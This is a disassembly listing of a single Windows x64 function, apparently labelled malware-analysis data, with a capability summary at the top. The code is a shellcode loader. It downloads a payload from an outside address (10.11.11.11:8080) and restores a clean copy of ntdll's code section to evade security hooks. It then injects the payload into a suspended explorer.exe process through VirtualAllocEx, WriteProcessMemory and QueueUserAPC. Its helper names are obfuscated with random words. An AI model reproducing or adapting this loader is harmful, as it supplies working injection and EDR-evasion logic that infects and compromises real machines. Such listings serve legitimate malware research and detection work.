Function at 0x14000a9c0
Capabilities:
Create process on windows
Inject apc
Resolve function by parsing pe exports
Resume thread
Schedule task via at
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x138
xor ebp, ebp
call dbg.__main
lea rdi, [rsp + 0xc8]
mov qword [rsp + 0x80], rbp
lea r14, [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor eax, eax
movss xmm0, dword [0x14000c334]
mov ecx, 0x1a
rep stosd dword [rdi], eax
lea rdi, [rsp + 0xb0]
mov ecx, 6
lea rbx, [rsp + 0xb0]
rep stosd dword [rdi], eax
call sym._ZL177yogins_jehads_polite_sesame_repainted_bowstrings_Philistines_crofts_Karyn_internships_lookup_mainlands_meteorologys_wigw
lea rcx, str.http:__10.11.11.11:8080_dunno.txt
lea rdx, [rsp + 0x78]
lea r8, [rsp + 0x80]
call sym._Z170timer_Kahluas_Parkers_Stokes_pouching_pearls_cavils_shinny_opaque_Moorishs_Messiahs_sleeknesss_Ronald_Iroquoiss_procrasti
lea rcx, str.____capitalism_partitioned_appendicitiss_propulsive_narcotic_diphtherias_waggish_governments_reconstruction_repellent_Chandon_scintillate_cheroots_cropper_drones_lapwing_chammys_hypertensions_Australopithecus_Bluchers_Failed_n
test eax, eax
je 0x14000aa98
xor esi, esi
xor edi, edi
lea rax, str.C:WindowsSystem32_
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x48], rbx
mov r13, qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rsp + 0x40], r14
lea rdx, [0x14000b018]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], edi
call r13
test eax, eax
jne 0x14000aaa7
lea rcx, str.____Error:_Could_not_call_CreateProcess_n
call sym.printf_char_const__::_
mov eax, 1
jmp 0x14000ae24
lea r15, str.ntdll.dll
mov rdi, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, r15
call rdi
xor r11d, r11d
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, rax
movsxd rax, dword [rax + 0x3c]
mov qword [rsp + 0x88], r11
mov r12d, dword [rsi + rax + 0x50]
mov qword [rsp + 0x90], r12
call rbp
mov dword [rsp + 0x28], 4
xor r8d, r8d
lea rdx, [rsp + 0x88]
mov dword [rsp + 0x20], 0x3000
mov rcx, rax
lea r9, [rsp + 0x90]
call sym.NtAllocateVirtualMemory
lea rcx, str.____Error:_Memory_allocation_failed__NTStatus:__lx__n
mov edx, eax
test eax, eax
js 0x14000ad6c
movss xmm0, dword [0x14000c334]
call sym._ZL177yogins_jehads_polite_sesame_repainted_bowstrings_Philistines_crofts_Karyn_internships_lookup_mainlands_meteorologys_wigw
xor r10d, r10d
mov r9, r12
mov rdx, rsi
lea rax, [rsp + 0x98]
mov qword [rsp + 0x98], r10
mov r8, qword [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000ab73
mov rcx, qword [rsp + 0xb0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
movss xmm0, dword [0x14000c338]
call sym._ZL177yogins_jehads_polite_sesame_repainted_bowstrings_Philistines_crofts_Karyn_internships_lookup_mainlands_meteorologys_wigw
mov rcx, qword [rsp + 0xb8]
mov r12, qword [sym.imp.KERNEL32.dll_ResumeThread]
call r12
mov rsi, qword [rsp + 0x88]
mov rcx, r15
xor r15d, r15d
call rdi
xor r9d, r9d
movsxd r8, dword [rsi + 0x3c]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x74], r9d
add r8, rsi
lea r10, [r8 + 0x18]
movzx eax, word [r8 + 6]
cmp eax, r15d
jle 0x14000ace2
imul rax, r15, 0x28
movzx edi, word [r8 + 0x14]
mov qword [rsp + 0x60], r8
inc r15
movss xmm0, dword [0x14000c334]
mov qword [rsp + 0x58], r10
add rdi, r10
add rdi, rax
call sym._ZL177yogins_jehads_polite_sesame_repainted_bowstrings_Philistines_crofts_Karyn_internships_lookup_mainlands_meteorologys_wigw
lea rdx, str..text
mov rcx, rdi
call sym.strcmp
mov r10, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
test eax, eax
jne 0x14000abba
mov eax, dword [rdi + 8]
mov rdx, qword [rsp + 0x50]
lea r15, [rsp + 0x74]
mov r10, qword [0x140010048]
mov qword [rsp + 0xa0], rax
mov eax, dword [rdi + 0xc]
mov qword [rsp + 0x68], r10
add rax, rdx
mov qword [rsp + 0xa8], rax
call rbp
mov qword [rsp + 0x20], r15
mov r10, qword [rsp + 0x68]
mov r9d, 0x40
mov rcx, rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0xa8]
mov r8, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
mov rdx, rax
call r10
test eax, eax
js 0x14000ace2
mov edx, dword [rdi + 8]
mov rcx, rsi
mov dword [rsp + 0x68], edx
call sym._Z202scythes_nastiness_wrongdoings_steamroller_booming_kumquat_developers_larkspurs_Mandelbrots_practitioner_cliffhangers_fest
mov edx, dword [rsp + 0x68]
mov rcx, rsi
mov edi, eax
call sym._Z166nappys_Mbabanes_phonetically_detaches_cogwheels_gawkily_swap_graduates_lackey_Pierce_attenuating_beetling_cartilage_matad
mov ecx, eax
test edi, edi
je 0x14000acb6
cmp edi, eax
jae 0x14000acb6
mov rax, qword [rsp + 0x50]
mov edx, edi
sub ecx, edi
add rsi, rdx
add rax, rdx
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov r9d, dword [rsp + 0x74]
mov rsi, qword [0x140010048]
mov dword [rsp + 0x50], r9d
call rbp
mov qword [rsp + 0x20], r15
mov r9d, dword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rcx, rax
call rsi
movss xmm0, dword [0x14000c33c]
lea rsi, str.explorer.exe
call sym._ZL177yogins_jehads_polite_sesame_repainted_bowstrings_Philistines_crofts_Karyn_internships_lookup_mainlands_meteorologys_wigw
mov rcx, rsi
call sym._Z187delicacys_gunpoint_Sheratons_tizzy_Chaneys_unremitting_Asheville_elucidation_fiberboard_sacrament_oleanders_tapeworm_repr
xor eax, eax
mov ecx, 0x19
xor r8d, r8d
lea rdx, [rsp + 0xcc]
xor r9d, r9d
mov dword [rsp + 0xc8], 0x68
mov rdi, rdx
xor edx, edx
rep stosd dword [rdi], eax
mov ecx, 6
mov rdi, rbx
rep stosd dword [rdi], eax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
mov rdx, rsi
mov dword [rsp + 0x20], r8d
xor r8d, r8d
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x28], 0x14
call r13
test eax, eax
jne 0x14000ad76
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateProcess_failed___lu__n
mov edx, eax
call sym.printf_char_const__::_
jmp 0x14000aa9d
mov rsi, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x78]
mov r9d, 0x10
lea r8, [0x14000b0c0]
mov edx, esi
mov rcx, rdi
call sym._Z172bugs_provides_outcries_rowing_sacerdotal_hairstylists_Zinfandels_shames_chaperons_rusty_pram_crudits_clique_airports_hu
mov r9d, 0x1000
mov r8, rsi
xor edx, edx
mov rcx, qword [rsp + 0xb0]
mov dword [rsp + 0x20], 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
movss xmm0, dword [0x14000c338]
mov rbx, rax
call sym._ZL177yogins_jehads_polite_sesame_repainted_bowstrings_Philistines_crofts_Karyn_internships_lookup_mainlands_meteorologys_wigw
xor eax, eax
mov r9, rsi
mov r8, rdi
mov rcx, qword [rsp + 0xb0]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movss xmm0, dword [0x14000c338]
call sym._ZL177yogins_jehads_polite_sesame_repainted_bowstrings_Philistines_crofts_Karyn_internships_lookup_mainlands_meteorologys_wigw
mov rdx, qword [rsp + 0xb8]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
movss xmm0, dword [0x14000c338]
call sym._ZL177yogins_jehads_polite_sesame_repainted_bowstrings_Philistines_crofts_Karyn_internships_lookup_mainlands_meteorologys_wigw
mov rcx, qword [rsp + 0xb8]
call r12
xor eax, eax
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret